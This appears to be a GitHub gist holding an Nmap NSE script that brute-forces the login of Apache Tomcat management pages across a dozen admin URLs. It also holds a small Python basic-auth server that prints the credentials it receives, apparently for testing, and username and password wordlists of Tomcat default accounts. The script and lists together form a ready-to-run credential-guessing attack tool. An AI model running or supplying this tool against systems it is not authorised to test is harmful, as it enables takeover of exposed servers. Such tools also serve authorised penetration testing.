-
-
Save filipesam/190ca90fed374805e28df5060290babb to your computer and use it in GitHub Desktop.
Nmap NSE script that performs a dictionary/bruteforce attack over login and password fields of Apache Tomcat default web management pages
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
local shortport = require "shortport" | |
local http = require "http" | |
local stdnse = require "stdnse" | |
local brute = require "brute" | |
local creds = require "creds" | |
description = [[ | |
Performs a dictionary/bruteforce attack over login and password fields of Apache Tomcat default web management pages. | |
]] | |
--- | |
-- @usage | |
-- ./nmap --script http-tomcat-manager --script-args 'brute.firstonly=false,threads=8,passdb=tomcat-passdb.txt,userdb=tomcat-userdb.txt' 192.168.1.23 | |
-- | |
-- @output | |
-- PORT STATE SERVICE | |
-- 631/tcp open ipp | |
-- 8080/tcp open http-proxy | |
-- | http-tomcat-manager: | |
-- | Accounts: | |
-- | admtomcatin:OvW*busr1 - URI=/manager/html STATUS=200 | |
-- |_ root:toor - URI=/manager/html STATUS=200 | |
-- | |
-- | |
-- @args hostname Sets hostname header. | |
-- @args threads Sets number of concurrent threads. Default: 3 | |
-- | |
-- Other useful arguments when using this script are: | |
-- * http.useragent = String - User Agent used in HTTP requests | |
-- * brute.firstonly = Boolean - Stop attack when the first credentials are found | |
-- * brute.mode = user/creds/pass - Username password iterator | |
-- * passdb = String - Path to password list | |
-- * userdb = String - Path to user list | |
--- | |
author = "Julien Deudon (initbrain)" | |
license = "Same as Nmap--See http://nmap.org/book/man-legal.html" | |
categories = {"default", "auth", "intrusive"} | |
portrule = shortport.http | |
local DEFAULT_THREAD_NUM = 3 | |
--- | |
--This class implements the Driver class from the Brute library | |
--- | |
Driver = { | |
new = function(self, host, port, uri, options) | |
local o = {} | |
setmetatable(o, self) | |
self.__index = self | |
o.host = nmap.registry.args['hostname'] or host | |
o.port = port | |
o.uri = uri | |
o.options = options | |
return o | |
end, | |
connect = function( self ) | |
return true | |
end, | |
login = function(self, username, password) | |
local credentials = {username = username, password = password} | |
local response = http.get(self.host, self.port, self.uri, {auth = credentials, no_cache = true}) | |
stdnse.print_debug(2, "HTTP GET %s%s returned status %d", self.host, self.uri, response.status) | |
if response.status ~= 401 and response.status ~= 403 and response.status ~= 404 then | |
if (not( nmap.registry['credentials'])) then | |
nmap.registry['credentials'] = {} | |
end | |
if (not( nmap.registry.credentials['http'])) then | |
nmap.registry.credentials['http'] = {} | |
end | |
table.insert(nmap.registry.credentials.http, {username = username, password = password}) | |
return true, creds.Account:new(username, password, "URI=" .. self.uri .. " STATUS=" .. response.status) | |
end | |
return false, brute.Error:new("Incorrect password") | |
end, | |
disconnect = function( self ) | |
return true | |
end, | |
check = function( self ) | |
local response = http.get(self.host, self.port, self.uri) | |
stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri) | |
-- Check if www-authenticate field is there | |
if response.status == 401 and response.header["www-authenticate"] then | |
stdnse.print_debug(1, "Initial check passed. Launching brute force attack") | |
return true | |
else | |
stdnse.print_debug(1, "Initial check failed. www-authenticate header wasn't found") | |
end | |
return false | |
end | |
} | |
--- | |
--MAIN | |
--- | |
function table.removekey(table, key) | |
local element = table[key] | |
table[key] = nil | |
return element | |
end | |
action = function(host, port) | |
local status, engine, result | |
local thread_num = nmap.registry["threads"] or DEFAULT_THREAD_NUM | |
-- TODO get URIs form a file with the NSE script parameter "uridb" like "userdb" and "passdb" | |
uriTable = {'/status', '/admin', '/web-console', '/jmx-console', '/admin-console', '/manager/html', '/tomcat/manager/html', '/host-manager/html', '/server-manager/html', '/web-console/Invoker', '/jmx-console/HtmlAdaptor', '/invoker/JMXInvokerServlet'} | |
for i, uri in ipairs(uriTable) do | |
local resultpart | |
engine = brute.Engine:new(Driver, host, port, uri) | |
engine:setMaxThreads(thread_num) | |
engine.options.script_name = SCRIPT_NAME | |
status, result = engine:start() | |
end | |
-- False statistics due to the URI iterator... | |
if result ~= nil then | |
table.removekey(result, "Statistics") | |
end | |
return result | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import BaseHTTPServer | |
from SimpleHTTPServer import SimpleHTTPRequestHandler | |
import sys | |
import base64 | |
requestcounter = 0 | |
key1 = "" | |
key2 = "" | |
class AuthHandler(SimpleHTTPRequestHandler): | |
''' Main class to present webpages and authentication. ''' | |
def do_HEAD(self): | |
self.send_response(200) | |
self.send_header('Content-type', 'text/html') | |
self.end_headers() | |
def do_AUTHHEAD(self): | |
self.send_response(401) | |
self.send_header('WWW-Authenticate', 'Basic realm=\"Tomcat Manager Application\"') | |
self.send_header('Content-type', 'text/html') | |
self.end_headers() | |
def do_GET(self): | |
global key | |
global requestcounter | |
requestcounter+=1 | |
print "-"*50 | |
print "requestcounter="+str(requestcounter) | |
print self.headers.getheader('User-agent') | |
''' Present frontpage with user authentication. ''' | |
if self.headers.getheader('Authorization') == None: | |
self.do_AUTHHEAD() | |
self.wfile.write('no auth header received') | |
print 'no auth header received' | |
pass | |
elif self.headers.getheader('Authorization') == 'Basic '+key1 \ | |
or self.headers.getheader('Authorization') == 'Basic '+key2: | |
SimpleHTTPRequestHandler.do_GET(self) | |
print 'authenticated' | |
print base64.b64decode(self.headers.getheader('Authorization')[6:]) | |
pass | |
else: | |
self.do_AUTHHEAD() | |
self.wfile.write(self.headers.getheader('Authorization')) | |
self.wfile.write('not authenticated') | |
print 'not authenticated' | |
print base64.b64decode(self.headers.getheader('Authorization')[6:]) | |
pass | |
def test(HandlerClass = AuthHandler, ServerClass = BaseHTTPServer.HTTPServer): | |
BaseHTTPServer.test(HandlerClass, ServerClass) | |
if __name__ == '__main__': | |
if len(sys.argv)<4: | |
print "usage SimpleAuthServer.py [port] [username1:password1] [username2:password2]" | |
sys.exit() | |
key1 = base64.b64encode(sys.argv[2]) | |
key2 = base64.b64encode(sys.argv[3]) | |
test() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
123123 | |
123321 | |
1234 | |
12345 | |
123456 | |
12345678 | |
1234578 | |
admin | |
ADMIN | |
changeit | |
changeme | |
changethis | |
j2deployer | |
j5Brn9 | |
kdsxc | |
manager | |
OvW*busr1 | |
owaspbwa | |
password | |
password1 | |
Password1 | |
QLogic66 | |
r00t | |
role1 | |
root | |
s3cret | |
secret | |
tomcat | |
toor | |
xampp |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
admin | |
ADMIN | |
admtomcatin | |
both | |
cxsdk | |
j2deployer | |
manager | |
ovwebusr | |
QCC | |
role | |
role1 | |
root | |
tomcat | |
xampp |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment